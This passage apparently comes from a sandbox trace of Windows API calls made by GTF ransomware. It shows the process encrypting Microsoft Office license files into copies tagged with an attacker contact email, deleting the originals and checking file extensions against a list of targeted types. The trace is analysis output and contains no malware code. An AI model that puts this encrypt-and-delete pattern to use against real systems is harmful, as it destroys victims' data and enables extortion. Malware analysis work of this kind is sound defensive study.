	[0173.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.816] GetLastError () returned 0x0
	[0173.816] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d63, lpOverlapped=0x0) returned 1
	[0174.033] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0174.056] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.056] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x114, lpOverlapped=0x0) returned 1
	[0174.056] SetEndOfFile (hFile=0x570) returned 1
	[0174.056] CloseHandle (hObject=0x570) returned 1
	[0174.057] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.057] SetEndOfFile (hFile=0x530) returned 1
	[0174.077] CloseHandle (hObject=0x530) returned 1
	[0174.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 1
	[0174.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.175] lstrlenW (lpString=".doc") returned 4
	[0174.175] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.175] lstrlenW (lpString=".docx") returned 5
	[0174.175] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.175] lstrlenW (lpString=".pdf") returned 4
	[0174.175] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.175] lstrlenW (lpString=".xls") returned 4
	[0174.175] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.175] lstrlenW (lpString=".xlsx") returned 5
	[0174.175] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.175] lstrlenW (lpString=".ppt") returned 4
	[0174.175] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.175] lstrlenW (lpString=".zip") returned 4
	[0174.175] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.176] lstrlenW (lpString=".rar") returned 4
	[0174.176] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.176] lstrlenW (lpString=".bz2") returned 4
	[0174.176] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.176] lstrlenW (lpString=".7z") returned 3
	[0174.176] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.176] lstrlenW (lpString=".dbf") returned 4
	[0174.176] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.176] lstrlenW (lpString=".1cd") returned 4
	[0174.176] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.176] lstrlenW (lpString=".jpg") returned 4
	[0174.176] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.176] lstrlenW (lpString=".doc") returned 4
	[0174.176] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.176] lstrlenW (lpString=".docx") returned 5
	[0174.176] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.176] lstrlenW (lpString=".pdf") returned 4
	[0174.176] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.176] lstrlenW (lpString=".xls") returned 4
	[0174.176] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.176] lstrlenW (lpString=".xlsx") returned 5
	[0174.176] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.176] lstrlenW (lpString=".ppt") returned 4
	[0174.176] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.176] lstrlenW (lpString=".zip") returned 4
	[0174.176] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.176] lstrlenW (lpString=".rar") returned 4
	[0174.177] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.177] lstrlenW (lpString=".bz2") returned 4
	[0174.177] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.177] lstrlenW (lpString=".7z") returned 3
	[0174.177] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.177] lstrlenW (lpString=".dbf") returned 4
	[0174.177] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.177] lstrlenW (lpString=".1cd") returned 4
	[0174.177] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0174.177] lstrlenW (lpString=".jpg") returned 4
	[0174.177] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.177] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.177] lstrlenW (lpString="HomeStudentR_Retail-ppd.xrm-ms") returned 30
	[0174.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.178] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=21604) returned 1
	[0174.178] CloseHandle (hObject=0x570) returned 1
	[0174.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 0x220
	[0174.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.179] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.179] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.191] GetLastError () returned 0x0
	[0174.191] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x5464, lpOverlapped=0x0) returned 1
	[0174.284] WriteFile (in: hFile=0x574, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5470, lpOverlapped=0x0) returned 1
	[0174.285] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.285] WriteFile (in: hFile=0x574, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x110, lpOverlapped=0x0) returned 1
	[0174.286] SetEndOfFile (hFile=0x574) returned 1
	[0174.286] CloseHandle (hObject=0x574) returned 1
	[0174.286] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.286] SetEndOfFile (hFile=0x570) returned 1
	[0174.289] CloseHandle (hObject=0x570) returned 1
	[0174.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 1
	[0174.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.290] lstrlenW (lpString=".doc") returned 4
	[0174.290] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.290] lstrlenW (lpString=".docx") returned 5
	[0174.291] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.291] lstrlenW (lpString=".pdf") returned 4
	[0174.291] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.291] lstrlenW (lpString=".xls") returned 4
	[0174.291] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.291] lstrlenW (lpString=".xlsx") returned 5
	[0174.291] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.291] lstrlenW (lpString=".ppt") returned 4
	[0174.291] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.291] lstrlenW (lpString=".zip") returned 4
	[0174.291] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.291] lstrlenW (lpString=".rar") returned 4
	[0174.291] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.291] lstrlenW (lpString=".bz2") returned 4
	[0174.291] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.291] lstrlenW (lpString=".7z") returned 3
	[0174.291] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.291] lstrlenW (lpString=".dbf") returned 4
	[0174.291] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.291] lstrlenW (lpString=".1cd") returned 4
	[0174.291] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.291] lstrlenW (lpString=".jpg") returned 4
	[0174.291] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.291] lstrlenW (lpString=".doc") returned 4
	[0174.291] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.291] lstrlenW (lpString=".docx") returned 5
	[0174.291] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.292] lstrlenW (lpString=".pdf") returned 4
	[0174.292] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.292] lstrlenW (lpString=".xls") returned 4
	[0174.292] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.292] lstrlenW (lpString=".xlsx") returned 5
	[0174.292] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.292] lstrlenW (lpString=".ppt") returned 4
	[0174.292] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.292] lstrlenW (lpString=".zip") returned 4
	[0174.292] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.292] lstrlenW (lpString=".rar") returned 4
	[0174.292] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.292] lstrlenW (lpString=".bz2") returned 4
	[0174.292] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.292] lstrlenW (lpString=".7z") returned 3
	[0174.292] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.292] lstrlenW (lpString=".dbf") returned 4
	[0174.292] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.292] lstrlenW (lpString=".1cd") returned 4
	[0174.292] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0174.292] lstrlenW (lpString=".jpg") returned 4
	[0174.292] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.292] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.293] lstrlenW (lpString="HomeStudentR_Retail-ul-phn.xrm-ms") returned 33
	[0174.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.293] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19949) returned 1
	[0174.293] CloseHandle (hObject=0x570) returned 1
	[0174.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 0x220
	[0174.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.294] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.294] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.295] GetLastError () returned 0x0
	[0174.295] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x4ded, lpOverlapped=0x0) returned 1
	[0174.364] WriteFile (in: hFile=0x574, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4df0, lpOverlapped=0x0) returned 1
	[0174.365] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.365] WriteFile (in: hFile=0x574, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x116, lpOverlapped=0x0) returned 1
	[0174.366] SetEndOfFile (hFile=0x574) returned 1
	[0174.366] CloseHandle (hObject=0x574) returned 1
	[0174.366] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.366] SetEndOfFile (hFile=0x570) returned 1
	[0174.369] CloseHandle (hObject=0x570) returned 1
	[0174.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 1
	[0174.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.372] lstrlenW (lpString=".doc") returned 4
	[0174.373] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.373] lstrlenW (lpString=".docx") returned 5
	[0174.373] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.373] lstrlenW (lpString=".pdf") returned 4
	[0174.373] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.373] lstrlenW (lpString=".xls") returned 4
	[0174.373] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.373] lstrlenW (lpString=".xlsx") returned 5
	[0174.373] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.373] lstrlenW (lpString=".ppt") returned 4
	[0174.373] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.373] lstrlenW (lpString=".zip") returned 4
	[0174.373] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.373] lstrlenW (lpString=".rar") returned 4
	[0174.373] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.373] lstrlenW (lpString=".bz2") returned 4
	[0174.373] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.373] lstrlenW (lpString=".7z") returned 3
	[0174.373] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.373] lstrlenW (lpString=".dbf") returned 4
	[0174.373] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.373] lstrlenW (lpString=".1cd") returned 4
	[0174.373] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.373] lstrlenW (lpString=".jpg") returned 4
	[0174.373] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.373] lstrlenW (lpString=".doc") returned 4
	[0174.374] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.374] lstrlenW (lpString=".docx") returned 5
	[0174.374] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.374] lstrlenW (lpString=".pdf") returned 4
	[0174.374] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.374] lstrlenW (lpString=".xls") returned 4
	[0174.374] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.374] lstrlenW (lpString=".xlsx") returned 5
	[0174.374] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.374] lstrlenW (lpString=".ppt") returned 4
	[0174.374] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.374] lstrlenW (lpString=".zip") returned 4
	[0174.374] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.374] lstrlenW (lpString=".rar") returned 4
	[0174.374] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.374] lstrlenW (lpString=".bz2") returned 4
	[0174.374] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.374] lstrlenW (lpString=".7z") returned 3
	[0174.374] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.374] lstrlenW (lpString=".dbf") returned 4
	[0174.374] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.374] lstrlenW (lpString=".1cd") returned 4
	[0174.374] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0174.374] lstrlenW (lpString=".jpg") returned 4
	[0174.374] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.375] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.375] lstrlenW (lpString="HomeStudentR_Trial-ppd.xrm-ms") returned 29
	[0174.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.375] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=21727) returned 1
	[0174.375] CloseHandle (hObject=0x570) returned 1
	[0174.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 0x220
